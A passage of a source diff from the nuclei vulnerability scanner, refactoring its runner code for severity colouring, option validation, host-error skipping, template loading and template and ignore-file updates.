"github.com/projectdiscovery/gologger"
"github.com/projectdiscovery/nuclei/v2/internal/severity"
)
const (
fgOrange uint8 = 208
)
// New returns a new severity based colorizer
func New(colorizer aurora.Aurora) *Colorizer {
severityMap := map[string]string{
"info": colorizer.Blue("info").String(),
"low": colorizer.Green("low").String(),
"medium": colorizer.Yellow("medium").String(),
"high": colorizer.Index(fgOrange, "high").String(),
"critical": colorizer.Red("critical").String(),
func GetColor(colorizer aurora.Aurora, templateSeverity fmt.Stringer) string {
var method func(arg interface{}) aurora.Value
switch templateSeverity {
case severity.Info:
method = colorizer.Blue
case severity.Low:
method = colorizer.Green
case severity.Medium:
method = colorizer.Yellow
case severity.High:
method = func(stringValue interface{}) aurora.Value { return colorizer.Index(fgOrange, stringValue) }
case severity.Critical:
method = colorizer.Red
default:
gologger.Warning().Msgf("The '%s' severity does not have an color associated!", templateSeverity)
method = colorizer.White
}
return method(templateSeverity.String()).String()
}
func New(colorizer aurora.Aurora) func(severity.Severity) string {
return func(severity severity.Severity) string {
return GetColor(colorizer, severity)
}
return &Colorizer{Data: severityMap}
}

22
v2/internal/runner/banner.go
View File

@ -1,17 +1,19 @@
package runner
import "github.com/projectdiscovery/gologger"
import (
"fmt"
const banner = `
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v2.3.8
`
"github.com/projectdiscovery/gologger"
"github.com/projectdiscovery/nuclei/v2/pkg/catalog/config"
)
// Version is the current version of nuclei
const Version = `2.3.8`
var banner = fmt.Sprintf(`
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ %s
`, config.Version)
// showBanner is used to show the banner to the user
func showBanner() {

38
v2/internal/runner/options.go
View File

@ -5,11 +5,13 @@ import (
"errors"
"net/url"
"os"
"path/filepath"
"strings"
"github.com/projectdiscovery/gologger"
"github.com/projectdiscovery/gologger/formatter"
"github.com/projectdiscovery/gologger/levels"
"github.com/projectdiscovery/nuclei/v2/pkg/catalog/config"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/protocolinit"
"github.com/projectdiscovery/nuclei/v2/pkg/types"
)
@ -26,15 +28,15 @@ func ParseOptions(options *types.Options) {
showBanner()
if options.Version {
gologger.Info().Msgf("Current Version: %s\n", Version)
gologger.Info().Msgf("Current Version: %s\n", config.Version)
os.Exit(0)
}
if options.TemplatesVersion {
config, err := readConfiguration()
configuration, err := config.ReadConfiguration()
if err != nil {
gologger.Fatal().Msgf("Could not read template configuration: %s\n", err)
}
gologger.Info().Msgf("Current nuclei-templates version: %s (%s)\n", config.CurrentVersion, config.TemplatesDirectory)
gologger.Info().Msgf("Current nuclei-templates version: %s (%s)\n", configuration.CurrentVersion, configuration.TemplatesDirectory)
os.Exit(0)
}
@ -80,13 +82,6 @@ func validateOptions(options *types.Options) error {
return errors.New("both verbose and silent mode specified")
}
if !options.TemplateList {
// Check if a list of templates was provided and it exists
if len(options.Templates) == 0 && !options.NewTemplates && len(options.Workflows) == 0 && len(options.Tags) == 0 && !options.UpdateTemplates {
return errors.New("no template/templates provided")
}
}
// Validate proxy options if provided
err := validateProxyURL(options.ProxyURL, "invalid http proxy format (It should be http://username:password@host:port)")
if err != nil {
@ -97,6 +92,11 @@ func validateOptions(options *types.Options) error {
if err != nil {
return err
}
if options.Validate {
validateTemplatePaths(options.TemplatesDirectory, options.Templates, options.Workflows)
}
return nil
}
@ -155,3 +155,21 @@ func loadResolvers(options *types.Options) {
}
}
}
func validateTemplatePaths(templatesDirectory string, templatePaths, workflowPaths []string) {
allGivenTemplatePaths := append(templatePaths, workflowPaths...)
for _, templatePath := range allGivenTemplatePaths {
if templatesDirectory != templatePath && filepath.IsAbs(templatePath) {
fileInfo, err := os.Stat(templatePath)
if err == nil && fileInfo.IsDir() {
relativizedPath, err2 := filepath.Rel(templatesDirectory, templatePath)
if err2 != nil || (len(relativizedPath) >= 2 && relativizedPath[:2] == "..") {
gologger.Warning().Msgf("The given path (%s) is outside the default template directory path (%s)! "+
"Referenced sub-templates with relative paths in workflows will be resolved against the default template directory.", templatePath, templatesDirectory)
break
}
}
}
}
}

9
v2/internal/runner/processor.go
View File

@ -14,6 +14,10 @@ func (r *Runner) processTemplateWithList(template *templates.Template) bool {
r.hostMap.Scan(func(k, _ []byte) error {
URL := string(k)
// Skip if the host has had errors
if r.hostErrors != nil && r.hostErrors.Check(URL) {
return nil
}
wg.Add()
go func(URL string) {
defer wg.Done()
@ -37,6 +41,11 @@ func (r *Runner) processWorkflowWithList(template *templates.Template) bool {
r.hostMap.Scan(func(k, _ []byte) error {
URL := string(k)
// Skip if the host has had errors
if r.hostErrors != nil && r.hostErrors.Check(URL) {
return nil
}
wg.Add()
go func(URL string) {
defer wg.Done()

332
v2/internal/runner/runner.go
View File

@ -4,20 +4,32 @@ import (
"bufio"
"fmt"
"os"
"path"
"path/filepath"
"strings"
"time"
"github.com/logrusorgru/aurora"
"github.com/pkg/errors"
"github.com/remeh/sizedwaitgroup"
"github.com/rs/xid"
"go.uber.org/atomic"
"go.uber.org/ratelimit"
"gopkg.in/yaml.v2"
"github.com/projectdiscovery/gologger"
"github.com/projectdiscovery/hmap/store/hybrid"
"github.com/projectdiscovery/nuclei/v2/internal/colorizer"
"github.com/projectdiscovery/nuclei/v2/internal/severity"
"github.com/projectdiscovery/nuclei/v2/pkg/catalog"
"github.com/projectdiscovery/nuclei/v2/pkg/catalog/config"
"github.com/projectdiscovery/nuclei/v2/pkg/catalog/loader"
"github.com/projectdiscovery/nuclei/v2/pkg/output"
"github.com/projectdiscovery/nuclei/v2/pkg/parsers"
"github.com/projectdiscovery/nuclei/v2/pkg/progress"
"github.com/projectdiscovery/nuclei/v2/pkg/projectfile"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/clusterer"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/hosterrorscache"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/interactsh"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/protocolinit"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/headless/engine"
@ -26,11 +38,7 @@ import (
"github.com/projectdiscovery/nuclei/v2/pkg/reporting/exporters/sarif"
"github.com/projectdiscovery/nuclei/v2/pkg/templates"
"github.com/projectdiscovery/nuclei/v2/pkg/types"
"github.com/remeh/sizedwaitgroup"
"github.com/rs/xid"
"go.uber.org/atomic"
"go.uber.org/ratelimit"
"gopkg.in/yaml.v2"
"github.com/projectdiscovery/nuclei/v2/pkg/utils"
)
// Runner is a client for running the enumeration process.
@ -39,16 +47,17 @@ type Runner struct {
output output.Writer
interactsh *interactsh.Client
inputCount int64
templatesConfig *nucleiConfig
templatesConfig *config.Config
options *types.Options
projectFile *projectfile.ProjectFile
catalog *catalog.Catalog
progress progress.Progress
colorizer aurora.Aurora
issuesClient *reporting.Client
severityColors *colorizer.Colorizer
addColor func(severity.Severity) string
browser *engine.Browser
ratelimiter ratelimit.Limiter
hostErrors *hosterrorscache.Cache
}
// New creates a new client for running enumeration process.
@ -56,6 +65,15 @@ func New(options *types.Options) (*Runner, error) {
runner := &Runner{
options: options,
}
if options.UpdateNuclei {
if err := updateNucleiVersionToLatest(runner.options.Verbose); err != nil {
return nil, err
}
return nil, nil
}
if err := runner.updateTemplates(); err != nil {
gologger.Warning().Msgf("Could not update templates: %s\n", err)
}
if options.Headless {
browser, err := engine.New(options)
if err != nil {
@ -63,27 +81,19 @@ func New(options *types.Options) (*Runner, error) {
}
runner.browser = browser
}
if err := runner.updateTemplates(); err != nil {
gologger.Warning().Msgf("Could not update templates: %s\n", err)
}
runner.catalog = catalog.New(runner.options.TemplatesDirectory)
// Read nucleiignore file if given a templateconfig
if runner.templatesConfig != nil {
runner.readNucleiIgnoreFile()
runner.catalog.AppendIgnore(runner.templatesConfig.IgnorePaths)
}
var reportingOptions *reporting.Options
if options.ReportingConfig != "" {
file, err := os.Open(options.ReportingConfig)
if err != nil {
gologger.Fatal().Msgf("Could not open reporting config file: %s\n", err)
return nil, errors.Wrap(err, "could not open reporting config file")
}
reportingOptions = &reporting.Options{}
if parseErr := yaml.NewDecoder(file).Decode(reportingOptions); parseErr != nil {
file.Close()
gologger.Fatal().Msgf("Could not parse reporting config file: %s\n", parseErr)
return nil, errors.Wrap(parseErr, "could not parse reporting config file")
}
file.Close()
}
@ -104,40 +114,52 @@ func New(options *types.Options) (*Runner, error) {
}
}
if reportingOptions != nil {
if client, err := reporting.New(reportingOptions, options.ReportingDB); err != nil {
gologger.Fatal().Msgf("Could not create issue reporting client: %s\n", err)
} else {
runner.issuesClient = client
client, err := reporting.New(reportingOptions, options.ReportingDB)
if err != nil {
return nil, errors.Wrap(err, "could not create issue reporting client")
}
runner.issuesClient = client
}
// output coloring
useColor := !options.NoColor
runner.colorizer = aurora.NewAurora(useColor)
runner.severityColors = colorizer.New(runner.colorizer)
runner.addColor = colorizer.New(runner.colorizer)
if options.TemplateList {
runner.listAvailableTemplates()
os.Exit(0)
}
if (len(options.Templates) == 0 || !options.NewTemplates || (options.Targets == "" && !options.Stdin && options.Target == "")) && options.UpdateTemplates {
if (len(options.Templates) == 0 || !options.NewTemplates || (options.TargetsFilePath == "" && !options.Stdin && len(options.Targets) == 0)) && options.UpdateTemplates {
os.Exit(0)
}
if hm, err := hybrid.New(hybrid.DefaultDiskOptions); err != nil {
gologger.Fatal().Msgf("Could not create temporary input file: %s\n", err)
} else {
runner.hostMap = hm
hm, err := hybrid.New(hybrid.DefaultDiskOptions)
if err != nil {
return nil, errors.Wrap(err, "could not create temporary input file")
}
runner.hostMap = hm
runner.inputCount = 0
dupeCount := 0
// Handle single target
if options.Target != "" {
runner.inputCount++
// nolint:errcheck // ignoring error
runner.hostMap.Set(options.Target, nil)
// Handle multiple targets
if len(options.Targets) != 0 {
for _, target := range options.Targets {
url := strings.TrimSpace(target)
if url == "" {
continue
}
if _, ok := runner.hostMap.Get(url); ok {
dupeCount++
continue
}
runner.inputCount++
// nolint:errcheck // ignoring error
runner.hostMap.Set(url, nil)
}
}
// Handle stdin
@ -148,21 +170,23 @@ func New(options *types.Options) (*Runner, error) {
if url == "" {
continue
}
if _, ok := runner.hostMap.Get(url); ok {
dupeCount++
continue
}
runner.inputCount++
// nolint:errcheck // ignoring error
runner.hostMap.Set(url, nil)
}
}
// Handle taget file
if options.Targets != "" {
input, err := os.Open(options.Targets)
if err != nil {
gologger.Fatal().Msgf("Could not open targets file '%s': %s\n", options.Targets, err)
// Handle target file
if options.TargetsFilePath != "" {
input, inputErr := os.Open(options.TargetsFilePath)
if inputErr != nil {
return nil, errors.Wrap(inputErr, "could not open targets file")
}
scanner := bufio.NewScanner(input)
for scanner.Scan() {
@ -186,15 +210,21 @@ func New(options *types.Options) (*Runner, error) {
}
// Create the output file if asked
outputWriter, err := output.NewStandardWriter(!options.NoColor, options.NoMeta, options.JSON, options.Output, options.TraceLogFile)
outputWriter, err := output.NewStandardWriter(!options.NoColor, options.NoMeta, options.NoTimestamp, options.JSON, options.Output, options.TraceLogFile)
if err != nil {
gologger.Fatal().Msgf("Could not create output file '%s': %s\n", options.Output, err)
return nil, errors.Wrap(err, "could not create output file")
}
runner.output = outputWriter
if options.JSON && options.EnableProgressBar {
options.StatsJSON = true
}
if options.StatsJSON {
options.EnableProgressBar = true
}
// Creates the progress tracking object
var progressErr error
runner.progress, progressErr = progress.NewStatsTicker(options.StatsInterval, options.EnableProgressBar, options.Metrics, options.MetricsPort)
runner.progress, progressErr = progress.NewStatsTicker(options.StatsInterval, options.EnableProgressBar, options.StatsJSON, options.Metrics, options.MetricsPort)
if progressErr != nil {
return nil, progressErr
}
@ -202,7 +232,7 @@ func New(options *types.Options) (*Runner, error) {
// create project file if requested or load existing one
if options.Project {
var projectFileErr error
runner.projectFile, projectFileErr = projectfile.New(&projectfile.Options{Path: options.ProjectPath, Cleanup: options.ProjectPath == ""})
runner.projectFile, projectFileErr = projectfile.New(&projectfile.Options{Path: options.ProjectPath, Cleanup: utils.IsBlank(options.ProjectPath)})
if projectFileErr != nil {
return nil, projectFileErr
}
@ -218,6 +248,7 @@ func New(options *types.Options) (*Runner, error) {
Output: runner.output,
IssuesClient: runner.issuesClient,
Progress: runner.progress,
Debug: runner.options.Debug,
})
if err != nil {
gologger.Error().Msgf("Could not create interactsh client: %s", err)
@ -226,7 +257,9 @@ func New(options *types.Options) (*Runner, error) {
}
}
if options.RateLimit > 0 {
if options.RateLimitMinute > 0 {
runner.ratelimiter = ratelimit.New(options.RateLimitMinute, ratelimit.Per(60*time.Second))
} else if options.RateLimit > 0 {
runner.ratelimiter = ratelimit.New(options.RateLimit)
} else {
runner.ratelimiter = ratelimit.NewUnlimited()
@ -248,74 +281,158 @@ func (r *Runner) Close() {
// RunEnumeration sets up the input layer for giving input nuclei.
// binary and runs the actual enumeration
func (r *Runner) RunEnumeration() {
func (r *Runner) RunEnumeration() error {
defer r.Close()
// If we have no templates, run on whole template directory with provided tags
if len(r.options.Templates) == 0 && len(r.options.Workflows) == 0 && !r.options.NewTemplates && (len(r.options.Tags) > 0 || len(r.options.ExcludeTags) > 0) {
r.options.Templates = append(r.options.Templates, r.options.TemplatesDirectory)
}
// If user asked for new templates to be executed, collect the list from template directory.
if r.options.NewTemplates {
templatesLoaded, err := r.readNewTemplatesFile()
if err != nil {
gologger.Warning().Msgf("Could not get newly added templates: %s\n", err)
return errors.Wrap(err, "could not get newly added templates")
}
r.options.Templates = append(r.options.Templates, templatesLoaded...)
}
includedTemplates := r.catalog.GetTemplatesPath(r.options.Templates, false)
excludedTemplates := r.catalog.GetTemplatesPath(r.options.ExcludedTemplates, true)
// defaults to all templates
allTemplates := includedTemplates
ignoreFile := config.ReadIgnoreFile()
r.options.ExcludeTags = append(r.options.ExcludeTags, ignoreFile.Tags...)
r.options.ExcludedTemplates = append(r.options.ExcludedTemplates, ignoreFile.Files...)
if len(excludedTemplates) > 0 {
excludedMap := make(map[string]struct{}, len(excludedTemplates))
for _, excl := range excludedTemplates {
excludedMap[excl] = struct{}{}
}
// rebuild list with only non-excluded templates
allTemplates = []string{}
var cache *hosterrorscache.Cache
if r.options.MaxHostError > 0 {
cache = hosterrorscache.New(r.options.MaxHostError, hosterrorscache.DefaultMaxHostsCount).SetVerbose(r.options.Verbose)
}
r.hostErrors = cache
executerOpts := protocols.ExecuterOptions{
Output: r.output,
Options: r.options,
Progress: r.progress,
Catalog: r.catalog,
IssuesClient: r.issuesClient,
RateLimiter: r.ratelimiter,
Interactsh: r.interactsh,
ProjectFile: r.projectFile,
Browser: r.browser,
HostErrorsCache: cache,
}
for _, incl := range includedTemplates {
if _, found := excludedMap[incl]; !found {
allTemplates = append(allTemplates, incl)
} else {
gologger.Warning().Msgf("Excluding '%s'", incl)
}
workflowLoader, err := parsers.NewLoader(&executerOpts)
if err != nil {
return errors.Wrap(err, "Could not create loader.")
}
executerOpts.WorkflowLoader = workflowLoader
loaderConfig := loader.Config{
Templates: r.options.Templates,
Workflows: r.options.Workflows,
ExcludeTemplates: r.options.ExcludedTemplates,
Tags: r.options.Tags,
ExcludeTags: r.options.ExcludeTags,
IncludeTemplates: r.options.IncludeTemplates,
Authors: r.options.Author,
Severities: r.options.Severities,
IncludeTags: r.options.IncludeTags,
TemplatesDirectory: r.options.TemplatesDirectory,
Catalog: r.catalog,
ExecutorOptions: executerOpts,
}
store, err := loader.New(&loaderConfig)
if err != nil {
return errors.Wrap(err, "could not load templates from config")
}
if r.options.Validate {
if err := store.ValidateTemplates(r.options.Templates, r.options.Workflows); err != nil {
return err
}
gologger.Info().Msgf("All templates validated successfully\n")
return nil // exit
}
store.Load()
builder := &strings.Builder{}
if r.templatesConfig != nil && r.templatesConfig.NucleiLatestVersion != "" {
builder.WriteString(" (")
if strings.Contains(config.Version, "-dev") {
builder.WriteString(r.colorizer.Blue("development").String())
} else if config.Version == r.templatesConfig.NucleiLatestVersion {
builder.WriteString(r.colorizer.Green("latest").String())
} else {
builder.WriteString(r.colorizer.Red("outdated").String())
}
builder.WriteString(")")
}
messageStr := builder.String()
builder.Reset()
gologger.Info().Msgf("Using Nuclei Engine %s%s", config.Version, messageStr)
if r.templatesConfig != nil && r.templatesConfig.NucleiTemplatesLatestVersion != "" { // TODO extract duplicated logic
builder.WriteString(" (")
if r.templatesConfig.CurrentVersion == r.templatesConfig.NucleiTemplatesLatestVersion {
builder.WriteString(r.colorizer.Green("latest").String())
} else {
builder.WriteString(r.colorizer.Red("outdated").String())
}
builder.WriteString(")")
}
messageStr = builder.String()
builder.Reset()
if r.templatesConfig != nil {
gologger.Info().Msgf("Using Nuclei Templates %s%s", r.templatesConfig.CurrentVersion, messageStr)
}
if r.interactsh != nil {
gologger.Info().Msgf("Using Interactsh Server %s", r.options.InteractshURL)
}
if len(store.Templates()) > 0 {
gologger.Info().Msgf("Templates loaded: %d (New: %d)", len(store.Templates()), r.countNewTemplates())
}
if len(store.Workflows()) > 0 {
gologger.Info().Msgf("Workflows loaded: %d", len(store.Workflows()))
}
// pre-parse all the templates, apply filters
finalTemplates := []*templates.Template{}
workflowPaths := r.catalog.GetTemplatesPath(r.options.Workflows, false)
availableTemplates, _ := r.getParsedTemplatesFor(allTemplates, r.options.Severity, false)
availableWorkflows, workflowCount := r.getParsedTemplatesFor(workflowPaths, r.options.Severity, true)
var unclusteredRequests int64
for _, template := range availableTemplates {
for _, template := range store.Templates() {
// workflows will dynamically adjust the totals while running, as
// it can't be know in advance which requests will be called
// it can't be known in advance which requests will be called
if len(template.Workflows) > 0 {
continue
}
unclusteredRequests += int64(template.TotalRequests) * r.inputCount
}
originalTemplatesCount := len(availableTemplates)
if r.options.VerboseVerbose {
for _, template := range store.Templates() {
r.logAvailableTemplate(template.Path)
}
for _, template := range store.Workflows() {
r.logAvailableTemplate(template.Path)
}
}
templatesMap := make(map[string]*templates.Template)
for _, v := range store.Templates() {
templatesMap[v.ID] = v
}
originalTemplatesCount := len(store.Templates())
clusterCount := 0
clusters := clusterer.Cluster(availableTemplates)
clusters := clusterer.Cluster(templatesMap)
for _, cluster := range clusters {
if len(cluster) > 1 && !r.options.OfflineHTTP {
executerOpts := protocols.ExecuterOptions{
Output: r.output,
Options: r.options,
Progress: r.progress,
Catalog: r.catalog,
RateLimiter: r.ratelimiter,
IssuesClient: r.issuesClient,
Browser: r.browser,
ProjectFile: r.projectFile,
Interactsh: r.interactsh,
Output: r.output,
Options: r.options,
Progress: r.progress,
Catalog: r.catalog,
RateLimiter: r.ratelimiter,
IssuesClient: r.issuesClient,
Browser: r.browser,
ProjectFile: r.projectFile,
Interactsh: r.interactsh,
HostErrorsCache: cache,
}
clusterID := fmt.Sprintf("cluster-%s", xid.New().String())
@ -330,9 +447,7 @@ func (r *Runner) RunEnumeration() {
finalTemplates = append(finalTemplates, cluster...)
}
}
for _, workflows := range availableWorkflows {
finalTemplates = append(finalTemplates, workflows)
}
finalTemplates = append(finalTemplates, store.Workflows()...)
var totalRequests int64
for _, t := range finalTemplates {
@ -342,19 +457,20 @@ func (r *Runner) RunEnumeration() {
totalRequests += int64(t.TotalRequests) * r.inputCount
}
if totalRequests < unclusteredRequests {
gologger.Info().Msgf("Reduced %d requests to %d (%d templates clustered)", unclusteredRequests, totalRequests, clusterCount)
gologger.Info().Msgf("Templates clustered: %d (Reduced %d HTTP Requests)", clusterCount, unclusteredRequests-totalRequests)
}
templateCount := originalTemplatesCount + len(availableWorkflows)
workflowCount := len(store.Workflows())
templateCount := originalTemplatesCount + workflowCount
// 0 matches means no templates were found in directory
if templateCount == 0 {
gologger.Fatal().Msgf("Error, no templates were found.\n")
return errors.New("no templates were found")
}
gologger.Info().Msgf("Using %s rules (%s templates, %s workflows)",
r.colorizer.Bold(templateCount).String(),
r.colorizer.Bold(templateCount-workflowCount).String(),
r.colorizer.Bold(workflowCount).String())
/*
TODO does it make sense to run the logic below if there are no targets specified?
Can we safely assume the user is just experimenting with the template/workflow filters before running them?
*/
results := &atomic.Bool{}
wgtemplates := sizedwaitgroup.New(r.options.TemplateThreads)
@ -393,11 +509,15 @@ func (r *Runner) RunEnumeration() {
if r.browser != nil {
r.browser.Close()
}
return nil
}
// readNewTemplatesFile reads newly added templates from directory if it exists
func (r *Runner) readNewTemplatesFile() ([]string, error) {
additionsFile := path.Join(r.templatesConfig.TemplatesDirectory, ".new-additions")
if r.templatesConfig == nil {
return nil, nil
}
additionsFile := filepath.Join(r.templatesConfig.TemplatesDirectory, ".new-additions")
file, err := os.Open(additionsFile)
if err != nil {
return nil, err
@ -415,3 +535,27 @@ func (r *Runner) readNewTemplatesFile() ([]string, error) {
}
return templatesList, nil
}
// readNewTemplatesFile reads newly added templates from directory if it exists
func (r *Runner) countNewTemplates() int {
if r.templatesConfig == nil {
return 0
}
additionsFile := filepath.Join(r.templatesConfig.TemplatesDirectory, ".new-additions")
file, err := os.Open(additionsFile)
if err != nil {
return 0
}
defer file.Close()
count := 0
scanner := bufio.NewScanner(file)
for scanner.Scan() {
text := scanner.Text()
if text == "" {
continue
}
count++
}
return count
}

136
v2/internal/runner/templates.go
View File

@ -6,94 +6,54 @@ import (
"strings"
"github.com/karrick/godirwalk"
"github.com/projectdiscovery/gologger"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols"
"github.com/projectdiscovery/nuclei/v2/pkg/templates"
"github.com/projectdiscovery/nuclei/v2/internal/severity"
"github.com/projectdiscovery/nuclei/v2/pkg/parsers"
"github.com/projectdiscovery/nuclei/v2/pkg/types"
)
// getParsedTemplatesFor parse the specified templates and returns a slice of the parsable ones, optionally filtered
// by severity, along with a flag indicating if workflows are present.
func (r *Runner) getParsedTemplatesFor(templatePaths, severities []string, workflows bool) (parsedTemplates map[string]*templates.Template, workflowCount int) {
filterBySeverity := len(severities) > 0
if !workflows {
gologger.Info().Msgf("Loading templates...")
} else {
gologger.Info().Msgf("Loading workflows...")
}
parsedTemplates = make(map[string]*templates.Template)
for _, match := range templatePaths {
t, err := r.parseTemplateFile(match)
if err != nil {
gologger.Warning().Msgf("Could not parse file '%s': %s\n", match, err)
continue
}
if t == nil {
continue
}
if len(t.Workflows) == 0 && workflows {
continue // don't print if user only wants to run workflows
}
if len(t.Workflows) > 0 && !workflows {
continue // don't print workflow if user only wants to run templates
}
if len(t.Workflows) > 0 {
workflowCount++
}
sev := strings.ToLower(types.ToString(t.Info["severity"]))
if !filterBySeverity || hasMatchingSeverity(sev, severities) {
parsedTemplates[t.ID] = t
gologger.Info().Msgf("%s\n", r.templateLogMsg(t.ID, types.ToString(t.Info["name"]), types.ToString(t.Info["author"]), sev))
} else {
gologger.Warning().Msgf("Excluding template %s due to severity filter (%s not in [%s])", t.ID, sev, severities)
}
}
return parsedTemplates, workflowCount
}
// parseTemplateFile returns the parsed template file
func (r *Runner) parseTemplateFile(file string) (*templates.Template, error) {
executerOpts := protocols.ExecuterOptions{
Output: r.output,
Options: r.options,
Progress: r.progress,
Catalog: r.catalog,
IssuesClient: r.issuesClient,
RateLimiter: r.ratelimiter,
Interactsh: r.interactsh,
ProjectFile: r.projectFile,
Browser: r.browser,
}
template, err := templates.Parse(file, executerOpts)
if err != nil {
return nil, err
}
if template == nil {
return nil, nil
}
return template, nil
}
func (r *Runner) templateLogMsg(id, name, author, severity string) string {
func (r *Runner) templateLogMsg(id, name, author string, templateSeverity severity.Severity) string {
// Display the message for the template
message := fmt.Sprintf("[%s] %s (%s)",
return fmt.Sprintf("[%s] %s (%s) [%s]",
r.colorizer.BrightBlue(id).String(),
r.colorizer.Bold(name).String(),
r.colorizer.BrightYellow("@"+author).String())
if severity != "" {
message += " [" + r.severityColors.Data[severity] + "]"
r.colorizer.BrightYellow(appendAtSignToAuthors(author)).String(),
r.addColor(templateSeverity))
}
// appendAtSignToAuthors appends @ before each author and returns final string
func appendAtSignToAuthors(author string) string {
authors := strings.Split(author, ",")
if len(authors) == 0 {
return "@none"
}
return message
if len(authors) == 1 {
if !strings.HasPrefix(authors[0], "@") {
return fmt.Sprintf("@%s", authors[0])
}
return authors[0]
}
values := make([]string, 0, len(authors))
for _, k := range authors {
if !strings.HasPrefix(authors[0], "@") {
values = append(values, fmt.Sprintf("@%s", k))
} else {
values = append(values, k)
}
}
return strings.Join(values, ",")
}
func (r *Runner) logAvailableTemplate(tplPath string) {
t, err := r.parseTemplateFile(tplPath)
t, err := parsers.ParseTemplate(tplPath)
if err != nil {
gologger.Error().Msgf("Could not parse file '%s': %s\n", tplPath, err)
} else {
gologger.Print().Msgf("%s\n", r.templateLogMsg(t.ID, types.ToString(t.Info["name"]), types.ToString(t.Info["author"]), types.ToString(t.Info["severity"])))
gologger.Print().Msgf("%s\n", r.templateLogMsg(t.ID,
types.ToString(t.Info.Name),
types.ToString(t.Info.Authors),
t.Info.SeverityHolder.Severity))
}
}
@ -130,38 +90,12 @@ func (r *Runner) listAvailableTemplates() {
}
}
func hasMatchingSeverity(templateSeverity string, allowedSeverities []string) bool {
for _, s := range allowedSeverities {
finalSeverities := []string{}
if strings.Contains(s, ",") {
finalSeverities = strings.Split(s, ",")
} else {
finalSeverities = append(finalSeverities, s)
}
for _, sev := range finalSeverities {
sev = strings.ToLower(sev)
if sev != "" && strings.HasPrefix(templateSeverity, sev) {
return true
}
}
}
return false
}
func directoryWalker(fsPath string, callback func(fsPath string, d *godirwalk.Dirent) error) error {
err := godirwalk.Walk(fsPath, &godirwalk.Options{
return godirwalk.Walk(fsPath, &godirwalk.Options{
Callback: callback,
ErrorCallback: func(fsPath string, err error) godirwalk.ErrorAction {
return godirwalk.SkipNode
},
Unsorted: true,
})
// directory couldn't be walked
if err != nil {
return err
}
return nil
}

299
v2/internal/runner/update.go
View File

@ -7,29 +7,42 @@ import (
"context"
"crypto/md5"
"encoding/hex"
"encoding/json"
"fmt"
"io"
"io/ioutil"
"net/http"
"os"
"path"
"path/filepath"
"regexp"
"runtime"
"strconv"
"strings"
"time"
"github.com/apex/log"
"github.com/blang/semver"
"github.com/google/go-github/v32/github"
"github.com/google/go-github/github"
"github.com/olekukonko/tablewriter"
"github.com/pkg/errors"
"github.com/projectdiscovery/gologger"
"github.com/projectdiscovery/nuclei/v2/pkg/catalog/config"
"github.com/tj/go-update"
"github.com/tj/go-update/progress"
githubUpdateStore "github.com/tj/go-update/stores/github"
)
const (
userName = "projectdiscovery"
repoName = "nuclei-templates"
userName = "projectdiscovery"
repoName = "nuclei-templates"
nucleiIgnoreFile = ".nuclei-ignore"
nucleiConfigFilename = ".templates-config.json"
defaultIgnoreURL = "https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/master/.nuclei-ignore"
)
var reVersion = regexp.MustCompile(`\d+\.\d+\.\d+`)
// updateTemplates checks if the default list of nuclei-templates
// exist in the users home directory, if not the latest revision
// is downloaded from github.
@ -41,76 +54,50 @@ func (r *Runner) updateTemplates() error {
if err != nil {
return err
}
configDir := path.Join(home, "/.config", "/nuclei")
configDir := filepath.Join(home, ".config", "nuclei")
_ = os.MkdirAll(configDir, os.ModePerm)
templatesConfigFile := path.Join(configDir, nucleiConfigFilename)
if _, statErr := os.Stat(templatesConfigFile); !os.IsNotExist(statErr) {
config, readErr := readConfiguration()
if err != nil {
return readErr
}
r.templatesConfig = config
if err := r.readInternalConfigurationFile(home, configDir); err != nil {
return errors.Wrap(err, "could not read configuration file")
}
ignoreURL := "https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/master/.nuclei-ignore"
// If the config doesn't exist, write it now.
if r.templatesConfig == nil {
currentConfig := &nucleiConfig{
TemplatesDirectory: path.Join(home, "nuclei-templates"),
IgnoreURL: ignoreURL,
NucleiVersion: Version,
currentConfig := &config.Config{
TemplatesDirectory: filepath.Join(home, "nuclei-templates"),
IgnoreURL: defaultIgnoreURL,
NucleiVersion: config.Version,
}
if writeErr := r.writeConfiguration(currentConfig); writeErr != nil {
if writeErr := config.WriteConfiguration(currentConfig, false, false); writeErr != nil {
return errors.Wrap(writeErr, "could not write template configuration")
}
r.templatesConfig = currentConfig
}
if r.options.NoUpdateTemplates {
return nil
}
// Check if last checked for nuclei-ignore is more than 1 hours.
// and if true, run the check.
if r.templatesConfig == nil || time.Since(r.templatesConfig.LastCheckedIgnore) > 1*time.Hour || r.options.UpdateTemplates {
if r.templatesConfig != nil && r.templatesConfig.IgnoreURL != "" {
ignoreURL = r.templatesConfig.IgnoreURL
}
gologger.Verbose().Msgf("Downloading config file from %s", ignoreURL)
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
req, reqErr := http.NewRequestWithContext(ctx, http.MethodGet, ignoreURL, nil)
if reqErr == nil {
resp, httpGet := http.DefaultClient.Do(req)
if httpGet != nil {
if resp != nil && resp.Body != nil {
resp.Body.Close()
}
gologger.Warning().Msgf("Could not get ignore-file from %s: %s", ignoreURL, err)
} else {
data, _ := ioutil.ReadAll(resp.Body)
resp.Body.Close()
if len(data) > 0 {
_ = ioutil.WriteFile(path.Join(configDir, nucleiIgnoreFile), data, 0644)
}
if r.templatesConfig != nil {
r.templatesConfig.LastCheckedIgnore = time.Now()
}
}
}
cancel()
//
// Also at the same time fetch latest version from github to do outdated nuclei
// and templates check.
checkedIgnore := false
if r.templatesConfig == nil || time.Since(r.templatesConfig.LastCheckedIgnore) > 1*time.Hour {
checkedIgnore = r.checkNucleiIgnoreFileUpdates(configDir)
}
ctx := context.Background()
if r.templatesConfig.CurrentVersion == "" || (r.options.TemplatesDirectory != "" && r.templatesConfig.TemplatesDirectory != r.options.TemplatesDirectory) {
